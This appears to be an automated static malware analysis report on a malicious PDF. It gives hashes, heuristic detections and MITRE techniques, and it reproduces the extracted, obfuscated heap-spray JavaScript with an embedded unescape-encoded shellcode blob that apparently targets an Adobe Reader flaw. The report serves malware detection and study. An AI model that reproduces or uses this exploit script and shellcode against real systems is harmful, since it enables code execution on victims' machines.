Malicious PDF — malware analysis report

Static analysis result for SHA-256 053a2c3e55dff40e…

MALICIOUS

PDF

6.5 KB First seen: 2026-05-10
MD5: 2bbd893a6913d0710a9a72275dbd5dfa SHA-1: 8ee62e67d4d334ca7801d66e2396d202a59c5c4a SHA-256: 053a2c3e55dff40ea5f65f6429720c9fa40cb2d041329069d04178bc80ed2e38
466 Risk Score

Malware Insights

MITRE ATT&CK
T1059.007 JavaScript T1203 Exploitation for Client Execution T1566.001 Spearphishing Attachment

This PDF file contains obfuscated JavaScript that utilizes the unescape function and is flagged as a heap spray exploit targeting Adobe Reader (CVE-2009-0658). The embedded JavaScript is designed to execute shellcode, as indicated by the ClamAV detection of 'Win.Trojan.MSShellcode-6360729-4' on an extracted artifact. The primary goal appears to be the execution of a secondary payload.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9997

Heuristics 9

  • Adobe Reader JBIG2Decode generic heap-spray exploit critical CVE likely CVE_2009_0658_GENERIC_SPRAY
    PDF combines JBIG2Decode image streams with JavaScript heap-spray or decoder scaffolding. This is likely CVE-2009-0658-family Adobe Reader JBIG2 exploitation, but it lacks the stricter Reader-9 version gate or decoded page-word shellcode fingerprint required by the exact rule.
  • JBIG2 + active content high CVE related PDF_JBIG2_ACTIVE_CONTENT
    JBIG2Decode appears with JavaScript/XFA/RichMedia — a related indicator for JBIG2 parser-exploit families including CVE-2021-30860 and CVE-2009-0658, but not a unique CVE fingerprint.
  • ClamAV: Heuristics.PDF.ObfuscatedNameObject critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Heuristics.PDF.ObfuscatedNameObject
  • Hex-obfuscated scripting name object critical PDF_OBFUSCATED_NAME_OBJECT
    A PDF name object that drives script execution (/JavaScript or /JS) is written with #XX hex escapes to hide it from string-based scanners — e.g. /J#61v#61S#63r#69p#74 decoding to /JavaScript. Legitimate PDF producers always write these names literally; hex-encoding an executable name is a deliberate evasion used by exploit-kit and dropper PDFs.
  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER
    PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.
    Matched line in script
      var PuerMufwH = "";
  var pMSMEMpogkBtjvLfmBfvxq = unescape("%u7b96%u3f43%u497a%ub714%ueb31%u4f1c%u869b%u9ff5%u9097%uf989%u6642%u25bb%u9115%ub68d%u0d92%u12b9%ua8d5%u3dba%ub14e%u407c%u7747%u3379%ue3f6%ub84a%u0b75%ubffd%u292d%u7ed6%u693c%u46d4%u98a9%u3499%u67b5%u3741%u222f%u21e1%ub3f8%u0c04%u0015%u77e2%u1d75%u4f66%ub7b6%u7179%u4b72%u8dbe%ub548%u7f91%u437b%u83b4%u19e1%ue0d1%ue311%u2b7c%uebd2%ua905%u70b3%ud402%u0c35%u242d%u2774%u2c9f%u737a%ub067%u96b2%ufd03%uf988%u9042%u974a%u0d93%uf81b%u477d%u4604%u1a78%u30f5%u41fc%u9 …
  var ikScoLKYsuYyRhpvopNrcmUrBwwCD = "";
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • JBIG2Decode filter medium PDF_JBIG2
    JBIG2 image decoder present — historically used in zero-click exploits
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Related samples 8

Ranked by shared artifacts, heuristics, extracted URLs, CVEs, and signatures.

Full JSON: related samples API

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0006_000.js pdf-javascript-stream PDF /JS object 6 at offset 0x224 5129 bytes
SHA-256: 1d7f7d6435c1fff9b2877252934668646a997953f323f308a09db436c69b08d2
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 4 eval/decoder/string-building token(s). 11 of 19 identifiers look randomly generated (e.g. 'oqnDpWtJjkrJhIIPKPTKGYVVeQbBrwoIJhniBZzm') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
var hfSttaOboic = "";
		var PuerMufwH = "";
		var pMSMEMpogkBtjvLfmBfvxq = unescape("%u7b96%u3f43%u497a%ub714%ueb31%u4f1c%u869b%u9ff5%u9097%uf989%u6642%u25bb%u9115%ub68d%u0d92%u12b9%ua8d5%u3dba%ub14e%u407c%u7747%u3379%ue3f6%ub84a%u0b75%ubffd%u292d%u7ed6%u693c%u46d4%u98a9%u3499%u67b5%u3741%u222f%u21e1%ub3f8%u0c04%u0015%u77e2%u1d75%u4f66%ub7b6%u7179%u4b72%u8dbe%ub548%u7f91%u437b%u83b4%u19e1%ue0d1%ue311%u2b7c%uebd2%ua905%u70b3%ud402%u0c35%u242d%u2774%u2c9f%u737a%ub067%u96b2%ufd03%uf988%u9042%u974a%u0d93%uf81b%u477d%u4604%u1a78%u30f5%u41fc%u993d%ub849%u1c76%u08bf%u2fd5%u4092%uba37%u254e%u143c%u7eb9%ub13f%u1834%u9bd6%ubba8%u8d98%u7072%ub415%ub80c%u7837%u7b7d%ufd28%uf838%u2791%u7973%u4a76%u46b6%ufc80%ufe01%uc7c6%ue3c1%u2575%ub204%ub1b7%uf96b%u7c47%ue23a%ub94f%u982d%u3d7a%u922c%ua949%ud585%u994b%u9724%ud439%u7143%ue110%u9f67%u1cba%u0d74%u4eb5%ua896%u4048%u1405%u7f1d%uf523%u1342%u66d6%ueb32%u7e34%ub33f%u93be%u3577%u0a3c%u2fe0%u9b41%ubbbf%ub090%uba35%u92b9%u2024%u7fd5%u3b75%u3ffd%u7d7b%u9140%u704f%u6779%u418d%u4bb0%u371c%u7c34%u2c71%ud384%u27e2%ue381%u872d%ue0f6%u4e05%uf787%u76e1%u9825%ufc2a%ub515%u0d2f%u7a74%u0448%ubbb1%u4290%u9fb7%ub4b2%u9997%ub847%u19a8%ubed6%u1477%u934a%u3966%ua9f5%u09b3%u3deb%u7eb6%u1d78%uf931%u4943%u46bf%u0c3c%u6b9b%u23d4%u96f8%u7372%u4048%u674a%ue33b%u7d75%u7a34%u7f14%ue211%ub649%u15be%u3f73%u2827%u76e1%u923d%ua8bb%ub8a9%u0db7%u4397%u9391%ud533%ubab5%u694f%u0bfc%u3cf8%u2d7c%u7eb0%ud608%u2f1c%u9046%ub20c%ubf41%u187b%uf9d3%u4b9b%u7077%u6605%ue030%u2579%ueb0a%u3747%u354e%u0072%ub4fd%u742c%ub91d%ub1b3%u9842%u8d99%u7896%u0424%u2071%u9ff5%uc12b%ud4c0%u787e%u7414%u4b2d%u7342%u757c%ub734%ue289%u7670%u0540%ue086%u4871%u0d35%u9996%u98b1%u38a9%u84f5%u46eb%u1d3c%u043f%u1b91%ufdd2%u2777%ubbb5%u7d49%u727a%ue31a%uf821%ub2ba%ud53a%u7f79%u4367%ub393%u7b2f%u8315%ue1d1%u0c66%u8db8%u034a%u32fc%u37d6%u9f4f%u76a8%u2277%ub6d4%u7db4%u9024%ue085%u733d%u881c%u7bf9%ub941%u8097%u4eeb%u71b0%u8147%u2ce2%u8c92%u25e3%ubebf%ubf9b%u3c75%uf910%u1c7c%u7e91%uf502%u417a%u4670%u4074%u7f0c%u4e1d%ubbba%u72b7%ud629%u1579%ue12a%ub60d%u67b4%u3f37%ua897%u01b0%u9ff8%ud52c%u2578%u1392%u47fd%ub8b2%u35b5%ub14a%u66b9%u2d34%ud012%u9bd4%u9896%u99a9%u3d43%ufc4f%u0493%u054b%u428d%u1490%ub324%u2fbe%u4927%uda48%ud9d4%u2474%ubbf4%u6c26%u4ffb%uc931%u49b1%u315d%u195d%u5d03%u8319%u04c5%u99c4%ua707%u6281%u38f8%uebf1%u091d%u8f23%u3856%udbf3%ub13b%u8978%u42af%u060c%ue3df%u70ba%uf4ee%ubd0b%u37bc%u410a%u6bbf%u78ec%u7e70%ubded%u716d%u16bf%u20f9%u122f%uf8bf%uf44e%u41cb%u7128%u350b%u7882%ue65c%u3399%u8c44%ue3c5%u4175%udf16%uee3c%uabec%u26be%u533d%u06f1%u6a91%u8b3d%uabe8%u74fa%uc79f%u09f8%u13a7%ud582%u8622%u9d24%u6294%u72d4%ue042%u3fda%uae01%ubefe%uc4c6%u4bfb%u0ae9%u088a%u8ecd%ucbd6%u966c%ubab2%uc891%u621b%u8237%u778e%uc941%ub4c6%uf27f%ud316%u8108%u7c24%u0da2%uf505%uc96c%u2c6a%u45c8%ucf95%u4f28%u9b52%ue778%ua473%uf713%u717c%ua7b3%u2ad2%u1873%u9a93%u721b%uc41c%u7d3b%u6df6%u87d1%u5191%u898d%u3a07%u89cf%u01c6%u6f46%u65a2%u270e%u1f5b%ub30b%ue0fa%ub986%u6a3d%u3d24%u9bf3%u2d41%u6c64%u0f1c%u7323%u3a8b%ue1cc%ued37%u9d9b%uc835%u01ec%u3fc6%u8b67%u8052%uf410%u00b2%ua2e1%u00d8%u1289%u52b8%u5cac%uc715%uc97d%ube95%u5ad2%u3cfd%uac0c%ubfa2%u2c7b%u699f%uaa42%u1fe9%u76a6");
		var ikScoLKYsuYyRhpvopNrcmUrBwwCD = "";

		for (RifkcGzeaJs=128;RifkcGzeaJs>=0;--RifkcGzeaJs) ikScoLKYsuYyRhpvopNrcmUrBwwCD += unescape("%u990c%u919f");
		qcMSRcEZNeMkDvYEIlxxEQBqXWFdSnKwTUVunw = ikScoLKYsuYyRhpvopNrcmUrBwwCD + pMSMEMpogkBtjvLfmBfvxq;
		KadgwXAKBiqGOhAVPngpczGYVjWoL = unescape("%u990c%u919f");
		BrTHUIqEnRipX = 20;
		sVbOMJsveENIGjDWYhLHXDwoSfisGEDktYFcBerpymPySF = BrTHUIqEnRipX+qcMSRcEZNeMkDvYEIlxxEQBqXWFdSnKwTUVunw.length
		while (KadgwXAKBiqGOhAVPngpczGYVjWoL.length<sVbOMJsveENIGjDWYhLHXDwoSfisGEDktYFcBerpymPySF) KadgwXAKBiqGOhAVPngpczGYVjWoL+=KadgwXAKBiqGOhAVPngpczGYVjWoL;
		xVdTegHRDmtRYvoHlrlhYNxhKAxGq = KadgwXAKBiqGOhAVPngpczGYVjWoL.substring(0, sVbOMJsveENIGjDWYhLHXDwoSfisGEDktYFcBerpymPySF);
		OwEJg = KadgwXAKBiqGOhAVPngpczGYVjWoL.substring(0, KadgwXAKBiqGOhAVPngpczGYVjWoL.length-sVbOMJsveENIGjDWYhLHXDwoSfisGEDktYFcBerpymPySF);
		while(OwEJg.length+sVbOMJsveENIGjDWYhLHXDwoSfisGEDktYFcBerpymPySF < 0x40000) OwEJg = OwEJg+OwEJg+xVdTegHRDmtRYvoHlrlhYNxhKAxGq;
		oqnDpWtJjkrJhIIPKPTKGYVVeQbBrwoIJhniBZzmtXIWTFqHc = new Array();
		for (RifkcGzeaJs=0;RifkcGzeaJs<100;RifkcGzeaJs++) oqnDpWtJjkrJhIIPKPTKGYVVeQbBrwoIJhniBZzmtXIWTFqHc[RifkcGzeaJs] = OwEJg + qcMSRcEZNeMkDvYEIlxxEQBqXWFdSnKwTUVunw;

		for (RifkcGzeaJs=142;RifkcGzeaJs>=0;--RifkcGzeaJs) PuerMufwH += unescape("%ub550%u0166");
		tzOtajY = PuerMufwH.length + 20
		while (PuerMufwH.length < tzOtajY) PuerMufwH += PuerMufwH;
		piepuRLdCGXtUWG = PuerMufwH.substring(0, tzOtajY);
		dQJWAZmUyGLmVCQUoezKvbOabXHcxPTguSEfkSlWvrxA = PuerMufwH.substring(0, PuerMufwH.length-tzOtajY);
		while(dQJWAZmUyGLmVCQUoezKvbOabXHcxPTguSEfkSlWvrxA.length+tzOtajY < 0x40000) dQJWAZmUyGLmVCQUoezKvbOabXHcxPTguSEfkSlWvrxA = dQJWAZmUyGLmVCQUoezKvbOabXHcxPTguSEfkSlWvrxA+dQJWAZmUyGLmVCQUoezKvbOabXHcxPTguSEfkSlWvrxA+piepuRLdCGXtUWG;
		ZfxijWhhV = new Array();
		for (RifkcGzeaJs=0;RifkcGzeaJs<125;RifkcGzeaJs++) ZfxijWhhV[RifkcGzeaJs] = dQJWAZmUyGLmVCQUoezKvbOabXHcxPTguSEfkSlWvrxA + PuerMufwH;
javascript_obj0006_000_shellcode_00.bin pdf-js-shellcode pdf-js-unescape-shellcode recovered from PDF /JS object 6 at offset 0x224 1024 bytes
SHA-256: 7cd3824d2f3777b7326f238d66c430d980082f2a3f18c9acf497a9d0c8543b57
Detection
ClamAV: Win.Trojan.MSShellcode-6360729-4
Obfuscation or payload: unlikely

Open this report in the interactive analyzer, or submit your own file for analysis.